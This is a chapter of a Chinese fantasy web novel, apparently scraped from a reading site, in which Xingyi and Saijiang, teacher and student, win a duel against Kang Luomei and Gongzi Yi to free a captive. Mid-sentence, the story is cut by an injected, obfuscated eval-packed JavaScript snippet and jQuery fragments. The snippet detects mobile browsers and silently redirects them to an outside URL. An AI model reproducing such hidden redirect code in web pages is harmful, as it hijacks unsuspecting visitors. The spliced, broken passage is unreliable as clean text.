111.师父

作品:《反派?那也得冲业绩!

    但那少年还未开口同意放人,星乙便伸手掏进罗新口袋中,抓了一把大小不一的螺丝零件出来,扬手用作暗器,朝那一抹蓝色打过去!


    眼见连续黑影飞驰向他射来,少年翻身躲避,还没站稳,为躲避星乙的连续攻击只好又连着几个后空翻,好险躲过了暗器。


    纱制的衣摆在大幅动作下凌乱,大片夺目的蓝色在他周身海浪一样翻滚,只有一具拥有修长四肢的躯体在其中像礁石一样被浪花拍打。星乙最后一根重影箭从他面前擦过,纱衣撕裂开来,随着少女大幅度的动作纷纷而下,蜕壳蝴蝶般暴露在天地间。


    脸上多出一道狭长的伤痕,如纯净白纸上的折痕,深蓝色的液体涌出,落下两滴。


    蓝国贵胄,蓝衣裳,蓝血液。


    一张脸自纯蓝下暴露,短短两秒,却给了星乙几千年来从没遇见过的震撼。


    关于美的震撼。


    大片深沉蓝色,像最深的海水。


    蓝血落地,脚下杂草野花瞬间枯萎,浅棕的土层也中毒一般向四周蔓延,瞬间将一大片土地染的灰黑。


    “公子熠……”罗新也难得声音颤抖。


    铜铃在腥风中疯狂震颤。


    赛江半跪在自己晕开的血泊里,指节因过度用力而泛白,紧紧攥着双刀的刀柄。这对传承着家族荣耀的利刃,此刻深深扎进地面,刀刃上蜿蜒的纹路也被鲜血浸成暗紫色,仿佛也在为这场悬殊的战斗而悲泣。


    白枫虽为九司之一,却法力亏空,仅以一招之差败给了康洛眉。为了扳回一局,赛江主动请缨要求再战,康洛眉不仅同意了,竟也像对待星乙那样收起所有法术,简直是羞辱。


    可即便如此,自己仍然不敌她吗?


    赛江心中泛起苦味,更紧握了双刀。


    他记不清这是第几次被敌人击倒了。喉间翻涌着腥甜,每一次跌倒再爬起,都伴随着全身传来的剧痛,但少年倔强的眼神中,始终燃烧着不屈的火焰。


    兴许是他的眼神太过熟悉,康洛眉终于想起了这把双刀。


    “江海双刀怎么会在你这个毛头小子手里?”她一惊,又明白过来,开口嘲讽便道:“你真是鸿源的儿子吗?怎么这么弱。”


    “给我闭嘴!”赛江咬牙怒吼,话音未落,一柄重剑擦着他耳畔劈进地里。飞溅的碎石在脸颊划出滚烫的血痕,钻心的疼痛让他眼前一阵发黑。康洛眉发出轻蔑的狞笑,一脚狠狠踹在他的背上,“没想到,江海双刀居然也要失传了。”


    赛江闷哼着向前栽倒,额头重重磕在冰冷的刀镡上。


    这剧烈的撞击反而让他清醒过来,恍惚间,他的目光落手中的长刀上。记忆如潮水般涌来——母亲死后,他从星乙手中接过这对双刀时,总感觉母亲掌心残留的余温仿佛还在,告诫着他,不能认输。


    “去死……”他嘶吼着,凭借着一股近乎执拗的意志撑起上身。


    双刀发出嗡鸣,缓缓从地面拔起。伤口迸裂的鲜血甩在刀刃上,神奇地在纹路间亮起细小的蓝光。康洛眉瞳孔骤缩,挥剑再次劈来,刀锋相击后,赛江仍是不敌,被震飞出去。


    少年落地时带起一阵劲风,眼疾手快的将长刀深深扎入土地,堪堪稳住身形。


    双手手心流出的鲜血顺着刀柄花纹妖艳绽放,赛江深吸一口气,冷静的看着对面毫发无损的康洛眉。


    正待他打算就这样殊死一搏时,一双骨节分明的手精准扣住赛江左右握刀的手腕。


    宽大的肩膀和修长的双臂就像从背后生长出的一面墙,带着不符合年龄的沉稳,意识到身后人是谁,赛江咬牙切齿起来:“我还没认输呢!”


    星乙掌心贴着赛江血肉模糊的虎口,分明没有法力,却仿佛有一股温热的力量顺着刀柄涌入,令原本僵硬如铁的关节瞬间松弛。


    不等赛江反应,少年已轻巧地掰开他的手指,将双刀抽离。


    星乙欣赏般看着手中双刃,将剑锋上的鲜血抹净在胳膊上,然后抬起刀尖,对准了康洛眉。


    女人冷笑着摆出了正经的对打姿势:“一对一打不过,就要打配合吗?”


    星乙不置可否,瞥了满眼杀气的赛江一眼。


    一瞬间,康洛眉以疾风一样惊异的速度冲了过来,星乙却还感知不到似的一动不动。


    “小心!”他忙提醒。


    敌人的重剑再度劈下,星乙手腕翻转,双刀划出完美的十字,在赛江紧张的视线下,轻飘飘的接住了康洛眉的攻击。


    “你……”


    以静制动,以不动守身,以防御消耗。


    他突然明白了母亲教授他绝技时常说的话——双刀的优势在于,左手右手组成天生的搭档,支撑着孤身一人的战斗。


    世上本没有方向,更遑论左右,不过是为了区分不同选择而产生的概念。


    康洛眉也同时参破了星乙的打法,在她收手后退的一瞬间,星乙猛然逼近,身影化作银蛇狂舞,每一次挥斩都带起破空锐响,将康洛眉逼得节节败退,手忙脚乱起来。


    稍微不慎,顷刻间,便攻守相异了。


    她以一敌二,关键时刻,公子熠姗姗来迟,加入了战斗,双方这才势均力敌。


    公子熠仍用着女儿身,不出意外,那样一张脸出现的一瞬间便让周遭围着的红蓝寮地下属沸腾起来,尤其是“她”脸上那长长一刀深蓝伤痕,触目惊心,的血染了小半边脸,竟像点缀一般。


    “蓝色的血……我怎么记得,当年在战场上,水司砍伤了灼王的手臂,流出的也是蓝色的血。”


    “那血有剧毒来着,这姑娘也是这般,想必是蓝国的王族贵胄了。”


    “这蓝色可真美。”


    “安静!”莫求仙张口斥道:“安心些看吧,这要是输了,可就连带着火司和天国的面子全输掉了。”她担忧的看着赛江,只见对方慢慢握紧了皲裂的手心,只盼望手中的疼痛能压抑心中的邪火。


    “星乙长官,我并非有意刁难你的下属,实在是他自不量力,非要与我一争,我原本也有意相让,只不过见他背着江海双刀,以为他也有鸿源那样的本事才使了全力,没料到……”康洛眉看着这半大的小子:“是个空有架势的。”


    赛江脸色青白交错,星乙倒是没觉得有什么,红羽:“已经很厉害了,蓝寮新任首领大人也是,年少轻狂谁都有,我像他们这么大的时候也觉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173293|194639||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得天太低,地太窄呢。”


    “你才多大,看着也才十六七岁吧。”康洛眉笑。


    星乙乐了,红羽:“比起您确实还不够老成,毕竟都已经到了要退位让贤的地步了。”


    康洛眉脸色一变,“你这个哑巴,还挺能说会道的。只是我与公子是师徒上阵,您与您身边那位,据我所知并不和睦,两两对打最讲究配合,就算不用法术,照样是你们亏了。”


    星乙没有反驳,康洛眉这说的倒是实话。赛江对他一直心存怨恨,配合起来别说默契,连和谐都做不到。


    “别啰嗦了。”赛江开口道:“你们是师徒,我们也是。”


    “……”星乙皱了皱眉。


    “啊?”莫求仙愣了。


    “哇哦。”罗新站在莫求仙身边,也作惊讶状。


    星乙微微侧头,红羽跳到赛江肩膀上,小声道:“你最好不是逞一时口舌之快。”


    赛江干脆连唇舌都不愿意动了,卸了右手长刀恭恭敬敬的递给星乙,低眉顺眼的倒让他有些意外,但接过了长刀,拔出刀鞘,擦过衣袖。


    四人当即缠斗起来,天国和蓝国的招式区别巨大,看的周遭无人敢出声,都在提心吊胆。


    “能赢吗?”莫求仙小声嘟囔。


    “你们这些人,为什么总要为完全跟自己无关的事担惊受怕啊。”罗新听到她的动静,凑到她身边:“与其担心这个,不如担心赛江和星乙联通一气,你要何去何从啊。”


    “您是在提醒我吗?”莫求仙突然被搭话,受宠若惊。


    对决已经快要接近尾声,罗新的底气也越来越足:“我从小谙熟凡事坐在局外看的道理,顶多提醒,听不听在你。”


    “局外人?”莫求仙看着他,欲言又止又开口:“您掺和星乙长官的事还少吗?明明看不上他的做派,还要和他纠缠,自相矛盾。”


    罗新静默了片刻,转过了头,回答了她一开始的担忧,“星乙不会输的。”


    话音未落,红寮这边爆发出惊天的欢呼和掌声,正如罗新所说,星乙和赛江是胜者。


    蓝寮这边就没那么热闹了,瞪着这边的一群人,红寮不客气的回敬。可最终决定权还是在公子熠手里,“少女”满头大汗,十分不服,但终是咬牙切齿的兑现了承诺:“放人!”


    白枫闭上眼睛,深深吐出一口气。


    败者败,胜者胜,一切有了章法,可唯一真正身处局外的青年却是这几日来第一次对这其中的所有人正眼相待。


    公子熠的身手已是翘楚,黑色长发被高高盘起,绑着长长的深蓝发带,带子边角坠着镂空的金子,在阳光下闪闪发光,吸引了他的目光。


    落言对金银珠宝没兴趣,只是不由自主的想起,曾经留着一样头发的那个人。


    他的发带坠的素白的银,他的衣衫也是同样深蓝,不过其中带着白色。


    他的剑法和身手足以将在场四人打的落花流水,他的眼眸比熠更深更润,总带着淡淡的伤感和悲悯,江水悠悠远去,滔滔痴念取之不尽。


    公子灼。


    落言转过脸,无助的捂住耳朵,似乎光听着外界的吵闹让他精疲力竭。